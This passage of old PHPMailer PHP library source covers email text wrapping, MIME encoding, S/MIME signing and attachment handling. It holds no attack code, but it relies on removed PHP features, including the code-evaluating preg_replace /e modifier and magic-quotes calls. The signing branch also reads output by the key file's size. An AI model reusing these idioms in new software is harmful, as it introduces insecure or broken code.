2950 * @return string
2951 */
2952 function WrapText($message, $length, $qp_mode = false) {
2953 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2954 // If utf-8 encoding is used, we will need to make sure we don't
2955 // split multibyte characters when we wrap
2956 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2957
2958 $message = $this->FixEOL($message);
2959 if (substr($message, -1) == $this->LE) {
2960 $message = substr($message, 0, -1);
2961 }
2962
2963 $line = explode($this->LE, $message);
2964 $message = '';
2965 for ($i=0 ;$i < count($line); $i++) {
2966 $line_part = explode(' ', $line[$i]);
2967 $buf = '';
2968 for ($e = 0; $e<count($line_part); $e++) {
2969 $word = $line_part[$e];
2970 if ($qp_mode and (strlen($word) > $length)) {
2971 $space_left = $length - strlen($buf) - 1;
2972 if ($e != 0) {
2973 if ($space_left > 20) {
2974 $len = $space_left;
2975 if ($is_utf8) {
2976 $len = $this->UTF8CharBoundary($word, $len);
2977 } elseif (substr($word, $len - 1, 1) == "=") {
2978 $len--;
2979 } elseif (substr($word, $len - 2, 1) == "=") {
2980 $len -= 2;
2981 }
2982 $part = substr($word, 0, $len);
2983 $word = substr($word, $len);
2984 $buf .= ' ' . $part;
2985 $message .= $buf . sprintf("=%s", $this->LE);
2986 } else {
2987 $message .= $buf . $soft_break;
2988 }
2989 $buf = '';
2990 }
2991 while (strlen($word) > 0) {
2992 $len = $length;
2993 if ($is_utf8) {
2994 $len = $this->UTF8CharBoundary($word, $len);
2995 } elseif (substr($word, $len - 1, 1) == "=") {
2996 $len--;
2997 } elseif (substr($word, $len - 2, 1) == "=") {
2998 $len -= 2;
2999 }
3000 $part = substr($word, 0, $len);
3001 $word = substr($word, $len);
3002
3003 if (strlen($word) > 0) {
3004 $message .= $part . sprintf("=%s", $this->LE);
3005 } else {
3006 $buf = $part;
3007 }
3008 }
3009 } else {
3010 $buf_o = $buf;
3011 $buf .= ($e == 0) ? $word : (' ' . $word);
3012
3013 if (strlen($buf) > $length and $buf_o != '') {
3014 $message .= $buf_o . $soft_break;
3015 $buf = $word;
3016 }
3017 }
3018 }
3019 $message .= $buf . $this->LE;
3020 }
3021
3022 return $message;
3023 }
3024
3025 /**
3026 * Finds last character boundary prior to maxLength in a utf-8
3027 * quoted (printable) encoded string.
3028 * Original written by Colin Brown.
3029 * @access private
3030 * @param string $encodedText utf-8 QP text
3031 * @param int $maxLength find last character boundary prior to this length
3032 * @return int
3033 */
3034 function UTF8CharBoundary($encodedText, $maxLength) {
3035 $foundSplitPos = false;
3036 $lookBack = 3;
3037 while (!$foundSplitPos) {
3038 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
3039 $encodedCharPos = strpos($lastChunk, "=");
3040 if ($encodedCharPos !== false) {
3041 // Found start of encoded character byte within $lookBack block.
3042 // Check the encoded byte value (the 2 chars after the '=')
3043 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
3044 $dec = hexdec($hex);
3045 if ($dec < 128) { // Single byte character.
3046 // If the encoded char was found at pos 0, it will fit
3047 // otherwise reduce maxLength to start of the encoded char
3048 $maxLength = ($encodedCharPos == 0) ? $maxLength :
3049 $maxLength - ($lookBack - $encodedCharPos);
3050 $foundSplitPos = true;
3051 } elseif ($dec >= 192) { // First byte of a multi byte character
3052 // Reduce maxLength to split at start of character
3053 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
3054 $foundSplitPos = true;
3055 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
3056 $lookBack += 3;
3057 }
3058 } else {
3059 // No encoded character found
3060 $foundSplitPos = true;
3061 }
3062 }
3063 return $maxLength;
3064 }
3065
3066 /**
3067 * Set the body wrapping.
3068 * @access private
3069 * @return void
3070 */
3071 function SetWordWrap() {
3072 if($this->WordWrap < 1) {
3073 return;
3074 }
3075
3076 switch($this->message_type) {
3077 case 'alt':
3078 /* fall through */
3079 case 'alt_attachments':
3080 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
3081 break;
3082 default:
3083 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
3084 break;
3085 }
3086 }
3087
3088 /**
3089 * Assembles message header.
3090 * @access private
3091 * @return string
3092 */
3093 function CreateHeader() {
3094 $result = '';
3095
3096 /* Set the boundaries */
3097 $uniq_id = md5(uniqid(time()));
3098 $this->boundary[1] = 'b1_' . $uniq_id;
3099 $this->boundary[2] = 'b2_' . $uniq_id;
3100
3101 $result .= $this->HeaderLine('Date', $this->RFCDate());
3102 if($this->Sender == '') {
3103 $result .= $this->HeaderLine('Return-Path', trim($this->From));
3104 } else {
3105 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
3106 }
3107
3108 /* To be created automatically by mail() */
3109 if($this->Mailer != 'mail') {
3110 if(count($this->to) > 0) {
3111 $result .= $this->AddrAppend('To', $this->to);
3112 } elseif (count($this->cc) == 0) {
3113 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
3114 }
3115 if(count($this->cc) > 0) {
3116 $result .= $this->AddrAppend('Cc', $this->cc);
3117 }
3118 }
3119
3120 $from = array();
3121 $from[0][0] = trim($this->From);
3122 $from[0][1] = $this->FromName;
3123 $result .= $this->AddrAppend('From', $from);
3124
3125 /* sendmail and mail() extract Cc from the header before sending */
3126 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
3127 $result .= $this->AddrAppend('Cc', $this->cc);
3128 }
3129
3130 /* sendmail and mail() extract Bcc from the header before sending */
3131 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
3132 $result .= $this->AddrAppend('Bcc', $this->bcc);
3133 }
3134
3135 if(count($this->ReplyTo) > 0) {
3136 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
3137 }
3138
3139 /* mail() sets the subject itself */
3140 if($this->Mailer != 'mail') {
3141 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
3142 }
3143
3144 if($this->MessageID != '') {
3145 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
3146 } else {
3147 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
3148 }
3149 $result .= $this->HeaderLine('X-Priority', $this->Priority);
3150 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
3151
3152 if($this->ConfirmReadingTo != '') {
3153 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
3154 }
3155
3156 // Add custom headers
3157 for($index = 0; $index < count($this->CustomHeader); $index++) {
3158 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
3159 }
3160 if (!$this->sign_key_file) {
3161 $result .= $this->HeaderLine('MIME-Version', '1.0');
3162 $result .= $this->GetMailMIME();
3163 }
3164
3165 return $result;
3166 }
3167
3168 /**
3169 * Returns the message MIME.
3170 * @access private
3171 * @return string
3172 */
3173 function GetMailMIME() {
3174 $result = '';
3175 switch($this->message_type) {
3176 case 'plain':
3177 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
3178 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
3179 break;
3180 case 'attachments':
3181 /* fall through */
3182 case 'alt_attachments':
3183 if($this->InlineImageExists()){
3184 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
3185 } else {
3186 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
3187 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
3188 }
3189 break;
3190 case 'alt':
3191 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
3192 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
3193 break;
3194 }
3195
3196 if($this->Mailer != 'mail') {
3197 $result .= $this->LE.$this->LE;
3198 }
3199
3200 return $result;
3201 }
3202
3203 /**
3204 * Assembles the message body. Returns an empty string on failure.
3205 * @access private
3206 * @return string
3207 */
3208 function CreateBody() {
3209 $result = '';
3210 if ($this->sign_key_file) {
3211 $result .= $this->GetMailMIME();
3212 }
3213
3214 $this->SetWordWrap();
3215
3216 switch($this->message_type) {
3217 case 'alt':
3218 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
3219 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
3220 $result .= $this->LE.$this->LE;
3221 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
3222 $result .= $this->EncodeString($this->Body, $this->Encoding);
3223 $result .= $this->LE.$this->LE;
3224 $result .= $this->EndBoundary($this->boundary[1]);
3225 break;
3226 case 'plain':
3227 $result .= $this->EncodeString($this->Body, $this->Encoding);
3228 break;
3229 case 'attachments':
3230 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
3231 $result .= $this->EncodeString($this->Body, $this->Encoding);
3232 $result .= $this->LE;
3233 $result .= $this->AttachAll();
3234 break;
3235 case 'alt_attachments':
3236 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
3237 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
3238 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
3239 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
3240 $result .= $this->LE.$this->LE;
3241 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
3242 $result .= $this->EncodeString($this->Body, $this->Encoding);
3243 $result .= $this->LE.$this->LE;
3244 $result .= $this->EndBoundary($this->boundary[2]);
3245 $result .= $this->AttachAll();
3246 break;
3247 }
3248
3249 if($this->IsError()) {
3250 $result = '';
3251 } else if ($this->sign_key_file) {
3252 $file = tempnam("", "mail");
3253 $fp = fopen($file, "w");
3254 fwrite($fp, $result);
3255 fclose($fp);
3256 $signed = tempnam("", "signed");
3257
3258 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
3259 $fp = fopen($signed, "r");
3260 $result = fread($fp, filesize($this->sign_key_file));
3261 fclose($fp);
3262 } else {
3263 $this->SetError($this->Lang("signing").openssl_error_string());
3264 $result = '';
3265 }
3266
3267 unlink($file);
3268 unlink($signed);
3269 }
3270
3271 return $result;
3272 }
3273
3274 /**
3275 * Returns the start of a message boundary.
3276 * @access private
3277 */
3278 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
3279 $result = '';
3280 if($charSet == '') {
3281 $charSet = $this->CharSet;
3282 }
3283 if($contentType == '') {
3284 $contentType = $this->ContentType;
3285 }
3286 if($encoding == '') {
3287 $encoding = $this->Encoding;
3288 }
3289 $result .= $this->TextLine('--' . $boundary);
3290 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
3291 $result .= $this->LE;
3292 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
3293 $result .= $this->LE;
3294
3295 return $result;
3296 }
3297
3298 /**
3299 * Returns the end of a message boundary.
3300 * @access private
3301 */
3302 function EndBoundary($boundary) {
3303 return $this->LE . '--' . $boundary . '--' . $this->LE;
3304 }
3305
3306 /**
3307 * Sets the message type.
3308 * @access private
3309 * @return void
3310 */
3311 function SetMessageType() {
3312 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
3313 $this->message_type = 'plain';
3314 } else {
3315 if(count($this->attachment) > 0) {
3316 $this->message_type = 'attachments';
3317 }
3318 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
3319 $this->message_type = 'alt';
3320 }
3321 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
3322 $this->message_type = 'alt_attachments';
3323 }
3324 }
3325 }
3326
3327 /* Returns a formatted header line.
3328 * @access private
3329 * @return string
3330 */
3331 function HeaderLine($name, $value) {
3332 return $name . ': ' . $value . $this->LE;
3333 }
3334
3335 /**
3336 * Returns a formatted mail line.
3337 * @access private
3338 * @return string
3339 */
3340 function TextLine($value) {
3341 return $value . $this->LE;
3342 }
3343
3344 /////////////////////////////////////////////////
3345 // CLASS METHODS, ATTACHMENTS
3346 /////////////////////////////////////////////////
3347
3348 /**
3349 * Adds an attachment from a path on the filesystem.
3350 * Returns false if the file could not be found
3351 * or accessed.
3352 * @param string $path Path to the attachment.
3353 * @param string $name Overrides the attachment name.
3354 * @param string $encoding File encoding (see $Encoding).
3355 * @param string $type File extension (MIME) type.
3356 * @return bool
3357 */
3358 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
3359 if(!@is_file($path)) {
3360 $this->SetError($this->Lang('file_access') . $path);
3361 return false;
3362 }
3363
3364 $filename = basename($path);
3365 if($name == '') {
3366 $name = $filename;
3367 }
3368
3369 $cur = count($this->attachment);
3370 $this->attachment[$cur][0] = $path;
3371 $this->attachment[$cur][1] = $filename;
3372 $this->attachment[$cur][2] = $name;
3373 $this->attachment[$cur][3] = $encoding;
3374 $this->attachment[$cur][4] = $type;
3375 $this->attachment[$cur][5] = false; // isStringAttachment
3376 $this->attachment[$cur][6] = 'attachment';
3377 $this->attachment[$cur][7] = 0;
3378
3379 return true;
3380 }
3381
3382 /**
3383 * Attaches all fs, string, and binary attachments to the message.
3384 * Returns an empty string on failure.
3385 * @access private
3386 * @return string
3387 */
3388 function AttachAll() {
3389 /* Return text of body */
3390 $mime = array();
3391
3392 /* Add all attachments */
3393 for($i = 0; $i < count($this->attachment); $i++) {
3394 /* Check for string attachment */
3395 $bString = $this->attachment[$i][5];
3396 if ($bString) {
3397 $string = $this->attachment[$i][0];
3398 } else {
3399 $path = $this->attachment[$i][0];
3400 }
3401
3402 $filename = $this->attachment[$i][1];
3403 $name = $this->attachment[$i][2];
3404 $encoding = $this->attachment[$i][3];
3405 $type = $this->attachment[$i][4];
3406 $disposition = $this->attachment[$i][6];
3407 $cid = $this->attachment[$i][7];
3408
3409 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
3410 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
3411 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
3412
3413 if($disposition == 'inline') {
3414 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
3415 }
3416
3417 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
3418
3419 /* Encode as string attachment */
3420 if($bString) {
3421 $mime[] = $this->EncodeString($string, $encoding);
3422 if($this->IsError()) {
3423 return '';
3424 }
3425 $mime[] = $this->LE.$this->LE;
3426 } else {
3427 $mime[] = $this->EncodeFile($path, $encoding);
3428 if($this->IsError()) {
3429 return '';
3430 }
3431 $mime[] = $this->LE.$this->LE;
3432 }
3433 }
3434
3435 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
3436
3437 return join('', $mime);
3438 }
3439
3440 /**
3441 * Encodes attachment in requested format. Returns an
3442 * empty string on failure.
3443 * @access private
3444 * @return string
3445 */
3446 function EncodeFile ($path, $encoding = 'base64') {
3447 if(!@$fd = fopen($path, 'rb')) {
3448 $this->SetError($this->Lang('file_open') . $path);
3449 return '';
3450 }
3451 $magic_quotes = get_magic_quotes_runtime();
3452 set_magic_quotes_runtime(0);
3453 $file_buffer = fread($fd, filesize($path));
3454 $file_buffer = $this->EncodeString($file_buffer, $encoding);
3455 fclose($fd);
3456 set_magic_quotes_runtime($magic_quotes);
3457
3458 return $file_buffer;
3459 }
3460
3461 /**
3462 * Encodes string to requested format. Returns an
3463 * empty string on failure.
3464 * @access private
3465 * @return string
3466 */
3467 function EncodeString ($str, $encoding = 'base64') {
3468 $encoded = '';
3469 switch(strtolower($encoding)) {
3470 case 'base64':
3471 /* chunk_split is found in PHP >= 3.0.6 */
3472 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3473 break;
3474 case '7bit':
3475 case '8bit':
3476 $encoded = $this->FixEOL($str);
3477 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
3478 $encoded .= $this->LE;
3479 break;
3480 case 'binary':
3481 $encoded = $str;
3482 break;
3483 case 'quoted-printable':
3484 $encoded = $this->EncodeQP($str);
3485 break;
3486 default:
3487 $this->SetError($this->Lang('encoding') . $encoding);
3488 break;
3489 }
3490 return $encoded;
3491 }
3492
3493 /**
3494 * Encode a header string to best of Q, B, quoted or none.
3495 * @access private
3496 * @return string
3497 */
3498 function EncodeHeader ($str, $position = 'text') {
3499 $x = 0;
3500
3501 switch (strtolower($position)) {
3502 case 'phrase':
3503 if (!preg_match('/[\200-\377]/', $str)) {
3504 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
3505 $encoded = addcslashes($str, "\0..\37\177\\\"");
3506 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3507 return ($encoded);
3508 } else {
3509 return ("\"$encoded\"");
3510 }
3511 }
3512 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3513 break;
3514 case 'comment':
3515 $x = preg_match_all('/[()"]/', $str, $matches);
3516 /* Fall-through */
3517 case 'text':
3518 default:
3519 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3520 break;
3521 }
3522
3523 if ($x == 0) {
3524 return ($str);
3525 }
3526
3527 $maxlen = 75 - 7 - strlen($this->CharSet);
3528 /* Try to select the encoding which should produce the shortest output */
3529 if (strlen($str)/3 < $x) {
3530 $encoding = 'B';
3531 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
3532 // Use a custom function which correctly encodes and wraps long
3533 // multibyte strings without breaking lines within a character
3534 $encoded = $this->Base64EncodeWrapMB($str);
3535 } else {
3536 $encoded = base64_encode($str);
3537 $maxlen -= $maxlen % 4;
3538 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3539 }
3540 } else {
3541 $encoding = 'Q';
3542 $encoded = $this->EncodeQ($str, $position);
3543 $encoded = $this->WrapText($encoded, $maxlen, true);
3544 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
3545 }
3546
3547 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
3548 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3549
3550 return $encoded;
3551 }
3552
3553 /**
3554 * Checks if a string contains multibyte characters.
3555 * @access private
3556 * @param string $str multi-byte text to wrap encode
3557 * @return bool
3558 */
3559 function HasMultiBytes($str) {
3560 if (function_exists('mb_strlen')) {
3561 return (strlen($str) > mb_strlen($str, $this->CharSet));
3562 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3563 return False;
3564 }
3565 }
3566
3567 /**
3568 * Correctly encodes and wraps long multibyte strings for mail headers
3569 * without breaking lines within a character.
3570 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
3571 * @access private
3572 * @param string $str multi-byte text to wrap encode
3573 * @return string
3574 */
3575 function Base64EncodeWrapMB($str) {
3576 $start = "=?".$this->CharSet."?B?";
3577 $end = "?=";
3578 $encoded = "";
3579
3580 $mb_length = mb_strlen($str, $this->CharSet);
3581 // Each line must have length <= 75, including $start and $end
3582 $length = 75 - strlen($start) - strlen($end);
3583 // Average multi-byte ratio
3584 $ratio = $mb_length / strlen($str);
3585 // Base64 has a 4:3 ratio
3586 $offset = $avgLength = floor($length * $ratio * .75);
3587
3588 for ($i = 0; $i < $mb_length; $i += $offset) {
3589 $lookBack = 0;
3590
3591 do {
3592 $offset = $avgLength - $lookBack;
3593 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3594 $chunk = base64_encode($chunk);
3595 $lookBack++;
3596 }
3597 while (strlen($chunk) > $length);
3598
3599 $encoded .= $chunk . $this->LE;
3600 }
3601
3602 // Chomp the last linefeed
3603 $encoded = substr($encoded, 0, -strlen($this->LE));
3604 return $encoded;
3605 }
3606
3607 /**
3608 * Encode string to quoted-printable.
3609 * @access private
3610 * @return string
3611 */
3612 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
3613 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
3614 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
3615 $eol = "\r\n";
3616 $escape = '=';
3617 $output = '';
3618 while( list(, $line) = each($lines) ) {
3619 $linlen = strlen($line);
3620 $newline = '';
3621 for($i = 0; $i < $linlen; $i++) {
3622 $c = substr( $line, $i, 1 );
3623 $dec = ord( $c );
3624 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
3625 $c = '=2E';
3626 }
3627 if ( $dec == 32 ) {
3628 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
3629 $c = '=20';
3630 } else if ( $space_conv ) {
3631 $c = '=20';
3632 }
3633 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
3634 $h2 = floor($dec/16);
3635 $h1 = floor($dec%16);
3636 $c = $escape.$hex[$h2].$hex[$h1];
3637 }
3638 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
3639 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
3640 $newline = '';
3641 // check if newline first character will be point or not
3642 if ( $dec == 46 ) {
3643 $c = '=2E';
3644 }
3645 }
3646 $newline .= $c;
3647 } // end of for
3648 $output .= $newline.$eol;
3649 } // end of while
3650 return trim($output);
3651 }
3652
3653 /**
3654 * Encode string to q encoding.
3655 * @access private
3656 * @return string
3657 */
3658 function EncodeQ ($str, $position = 'text') {
3659 /* There should not be any EOL in the string */
3660 $encoded = preg_replace("[\r\n]", '', $str);
3661
3662 switch (strtolower($position)) {
3663 case 'phrase':
3664 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
3665 break;
3666 case 'comment':
3667 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
3668 case 'text':
3669 default:
3670 /* Replace every high ascii, control =, ? and _ characters */
3671 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
3672 "'='.sprintf('%02X', ord('\\1'))", $encoded);
3673 break;
3674 }
3675
3676 /* Replace every spaces to _ (more readable than =20) */
3677 $encoded = str_replace(' ', '_', $encoded);
3678
3679 return $encoded;
3680 }
3681
3682 /**
3683 * Adds a string or binary attachment (non-filesystem) to the list.
3684 * This method can be used to attach ascii or binary data,
3685 * such as a BLOB record from a database.
3686 * @param string $string String attachment data.
3687 * @param string $filename Name of the attachment.
3688 * @param string $encoding File encoding (see $Encoding).
3689 * @param string $type File extension (MIME) type.
3690 * @return void
3691 */
3692 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
3693 /* Append to $attachment array */
3694 $cur = count($this->attachment);
3695 $this->attachment[$cur][0] = $string;
3696 $this->attachment[$cur][1] = $filename;
3697 $this->attachment[$cur][2] = $filename;
3698 $this->attachment[$cur][3] = $encoding;
3699 $this->attachment[$cur][4] = $type;
3700 $this->attachment[$cur][5] = true; // isString
3701 $this->attachment[$cur][6] = 'attachment';
3702 $this->attachment[$cur][7] = 0;
3703 }
3704
3705 /**
3706 * Adds an embedded attachment. This can include images, sounds, and
3707 * just about any other document. Make sure to set the $type to an
3708 * image type. For JPEG images use "image/jpeg" and for GIF images
3709 * use "image/gif".
3710 * @param string $path Path to the attachment.
3711 * @param string $cid Content ID of the attachment. Use this to identify
3712 * the Id for accessing the image in an HTML form.
3713 * @param string $name Overrides the attachment name.
3714 * @param string $encoding File encoding (see $Encoding).
3715 * @param string $type File extension (MIME) type.
3716 * @return bool
3717 */
3718 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
3719
3720 if(!@is_file($path)) {
3721 $this->SetError($this->Lang('file_access') . $path);
3722 return false;
3723 }
3724
3725 $filename = basename($path);
3726 if($name == '') {
3727 $name = $filename;
3728 }
3729
3730 /* Append to $attachment array */
3731 $cur = count($this->attachment);
3732 $this->attachment[$cur][0] = $path;
3733 $this->attachment[$cur][1] = $filename;
3734 $this->attachment[$cur][2] = $name;
3735 $this->attachment[$cur][3] = $encoding;
3736 $this->attachment[$cur][4] = $type;
3737 $this->attachment[$cur][5] = false;
3738 $this->attachment[$cur][6] = 'inline';
3739 $this->attachment[$cur][7] = $cid;
3740
3741 return true;
3742 }
3743
3744 /**
3745 * Returns true if an inline attachment is present.
3746 * @access private
3747 * @return bool
3748 */
3749 function InlineImageExists() {
3750 $result = false;
3751 for($i = 0; $i < count($this->attachment); $i++) {
3752 if($this->attachment[$i][6] == 'inline') {
3753 $result = true;
3754 break;
3755 }
3756 }
3757
3758 return $result;
3759 }
3760
3761 /////////////////////////////////////////////////
3762 // CLASS METHODS, MESSAGE RESET
3763 /////////////////////////////////////////////////
3764
3765 /**
3766 * Clears all recipients assigned in the TO array. Returns void.
3767 * @return void
3768 */
3769 function ClearAddresses() {
3770 $this->to = array();
3771 }
3772
3773 /**
3774 * Clears all recipients assigned in the CC array. Returns void.
3775 * @return void
3776 */
3777 function ClearCCs() {
3778 $this->cc = array();
3779 }
3780
3781 /**
3782 * Clears all recipients assigned in the BCC array. Returns void.
3783 * @return void
3784 */
3785 function ClearBCCs() {
3786 $this->bcc = array();
3787 }
3788
3789 /**
3790 * Clears all recipients assigned in the ReplyTo array. Returns void.
3791 * @return void
3792 */
3793 function ClearReplyTos() {
3794 $this->ReplyTo = array();
3795 }
3796
3797 /**
3798 * Clears all recipients assigned in the TO, CC and BCC
3799 * array. Returns void.
3800 * @return void
3801 */
3802 function ClearAllRecipients() {
3803 $this->to = array();
3804 $this->cc = array();
3805 $this->bcc = array();
3806 }
3807
3808 /**
3809 * Clears all previously set filesystem, string, and binary
3810 * attachments. Returns void.
3811 * @return void
3812 */
3813 function ClearAttachments() {
3814 $this->attachment = array();
3815 }
3816
3817 /**
3818 * Clears all custom headers. Returns void.
3819 * @return void
3820 */
3821 function ClearCustomHeaders() {
3822 $this->CustomHeader = array();
3823 }
3824
3825 /////////////////////////////////////////////////
3826 // CLASS METHODS, MISCELLANEOUS
3827 /////////////////////////////////////////////////
3828
3829 /**
3830 * Adds the error message to the error container.
3831 * Returns void.
3832 * @access private
3833 * @return void
3834 */
3835 function SetError($msg) {
3836 $this->error_count++;
3837 $this->ErrorInfo = $msg;
3838 }
3839
3840 /**
3841 * Returns the proper RFC 822 formatted date.
3842 * @access private
3843 * @return string
3844 */
3845 function RFCDate() {
3846 $tz = date('Z');
3847 $tzs = ($tz < 0) ? '-' : '+';
3848 $tz = abs($tz);
3849 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3850 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3851
3852 return $result;
3853 }
3854
3855 /**
3856 * Returns the appropriate server variable. Should work with both
3857 * PHP 4.1.0+ as well as older versions. Returns an empty string
3858 * if nothing is found.
3859 * @access private
3860 * @return mixed
3861 */
3862 function ServerVar($varName) {
3863 global $HTTP_SERVER_VARS;
3864 global $HTTP_ENV_VARS;
3865
3866 if(!isset($_SERVER)) {
3867 $_SERVER = $HTTP_SERVER_VARS;
3868 if(!isset($_SERVER['REMOTE_ADDR'])) {
3869 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3870 }
3871 }
3872
3873 if(isset($_SERVER[$varName])) {
3874 return $_SERVER[$varName];
3875 } else {
3876 return '';
3877 }
3878 }
3879
3880 /**
3881 * Returns the server hostname or 'localhost.localdomain' if unknown.
3882 * @access private
3883 * @return string
3884 */
3885 function ServerHostname() {
3886 if ($this->Hostname != '') {
3887 $result = $this->Hostname;
3888 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3889 $result = $this->ServerVar('SERVER_NAME');
3890 } else {
3891 $result = 'localhost.localdomain';
3892 }
3893
3894 return $result;
3895 }
3896
3897 /**
3898 * Returns a message in the appropriate language.
3899 * @access private
3900 * @return string
3901 */
3902 function Lang($key) {
3903 if(count($this->language) < 1) {
3904 $this->SetLanguage('en'); // set the default language
3905 }
3906
3907 if(isset($this->language[$key])) {
3908 return $this->language[$key];
3909 } else {
3910 return 'Language string failed to load: ' . $key;
3911 }
3912 }
3913
3914 /**
3915 * Returns true if an error occurred.
3916 * @return bool
3917 */
3918 function IsError() {
3919 return ($this->error_count > 0);
3920 }
3921
3922 /**
3923 * Changes every end of line from CR or LF to CRLF.
3924 * @access private
3925 * @return string
3926 */
3927 function FixEOL($str) {
3928 $str = str_replace("\r\n", "\n", $str);
3929 $str = str_replace("\r", "\n", $str);
3930 $str = str_replace("\n", $this->LE, $str);
3931 return $str;
3932 }
3933
3934 /**
3935 * Adds a custom header.
3936 * @return void
3937 */
3938 function AddCustomHeader($custom_header) {
3939 $this->CustomHeader[] = explode(':', $custom_header, 2);
3940 }
3941
3942 /**
3943 * Evaluates the message and returns modifications for inline images and backgrounds
3944 * @access public
3945 * @return $message
3946 */
3947 function MsgHTML($message,$basedir='') {
3948 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3949 if(isset($images[2])) {
3950 foreach($images[2] as $i => $url) {
3951 // do not change urls for absolute images (thanks to corvuscorax)
3952 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3953 $filename = basename($url);
3954 $directory = dirname($url);
3955 ($directory == '.')?$directory='':'';
3956 $cid = 'cid:' . md5($filename);
